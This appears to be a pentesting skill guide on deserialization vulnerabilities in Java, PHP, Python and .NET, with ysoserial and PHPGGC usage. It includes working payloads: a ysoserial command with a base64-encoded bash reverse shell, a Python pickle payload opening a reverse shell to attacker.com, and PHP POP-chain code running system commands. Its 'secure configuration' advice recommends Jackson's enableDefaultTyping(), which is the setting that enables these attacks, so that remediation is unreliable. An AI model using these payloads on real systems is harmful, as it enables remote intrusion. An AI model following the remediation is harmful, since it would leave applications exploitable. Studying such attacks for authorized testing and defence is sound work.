Overview
A deserialization vulnerability is a vulnerability caused by an application deserializing untrusted data, which may lead to remote code execution, denial of service, etc. This skill provides methods for detecting, exploiting, and preventing deserialization vulnerabilities.
Vulnerability Principle
When an application deserializes serialized data into objects, if the data source is untrusted, an attacker can construct malicious serialized data and execute arbitrary code during the deserialization process.
Common Formats
Java
Common Libraries:
- Java native serialization
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
PHP
Common Functions:
- unserialize()
- json_decode()
Python
Common Modules:
- pickle
- yaml
- json
.NET
Common Classes:
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
Testing Methods
1. Identify Serialized Data
Java serialization characteristics:
AC ED 00 05 (十六进制)
rO0 (Base64)
PHP serialization characteristics:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
Python pickle characteristics:
\x80\x03
2. Detect Deserialization Points
Common Locations:
- Cookie values
- Session data
- API parameters
- File uploads
- Cache data
- Message queues
3. Java Deserialization
Apache Commons Collections exploitation:
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
Common Gadget Chains:
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
4. PHP Deserialization
Basic testing:
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
Magic method exploitation:
- __destruct()
- __wakeup()
- __toString()
- __call()
5. Python pickle
Basic testing:
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
Exploitation Techniques
Java RCE
Using ysoserial:
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64编码
base64 -w 0 payload.bin
Manual construction:
// 使用Gadget链构造恶意对象
// 参考ysoserial源码
PHP RCE
Exploiting POP chains:
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
Python RCE
Pickle RCE:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
Bypass Techniques
Encoding Bypass
Base64 encoding:
原始: rO0ABXNy...
编码: ck8wQUJYTnk...
URL encoding:
%72%4F%00%AB...
Filter Bypass
Use different Gadget chains:
- If CommonsCollections is filtered, try Spring
- If a certain version is filtered, try other versions
Class Name Obfuscation
Use reflection:
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
Tool Usage
ysoserial
# 列出可用Gadget
java -jar ysoserial.jar
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
PHPGGC
# 列出可用Gadget
./phpggc -l
# 生成Payload
./phpggc Monolog/RCE1 system id
# 生成编码Payload
./phpggc -b Monolog/RCE1 system id
Burp Suite
- Intercept requests containing serialized data
- Use plugins to generate Payloads
- Replace the original data
- Observe the response
Verification and Reporting
Verification Steps
- Confirm that the serialized data can be controlled
- Verify that deserialization triggers code execution
- Assess the impact (RCE, data leakage, etc.)
- Record the complete POC
Report Key Points
- Vulnerability location and serialized data format
- Gadget chain or exploitation method used
- Complete exploitation steps and PoC
- Remediation recommendations (input validation, use secure serialization, etc.)
Protective Measures
Recommended Solutions
-
Avoid deserializing untrusted data
- Use JSON instead
- Use a secure serialization format
-
Input validation
// 白名单验证类名 private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.SafeClass"); private Object readObject(ObjectInputStream ois) { // 验证类名 // ... } -
Use secure configuration
// Jackson配置 objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY); -
Class loader isolation
- Use a custom ClassLoader
- Restrict loadable classes
-
Monitoring and logging
- Log deserialization operations
- Monitor abnormal behavior
Precautions
- Conduct only in an authorized testing environment
- Note the differences in Gadget chains across different version repositories
- Pay attention to Payload size limits during testing
- Understand the dependency library versions of the target application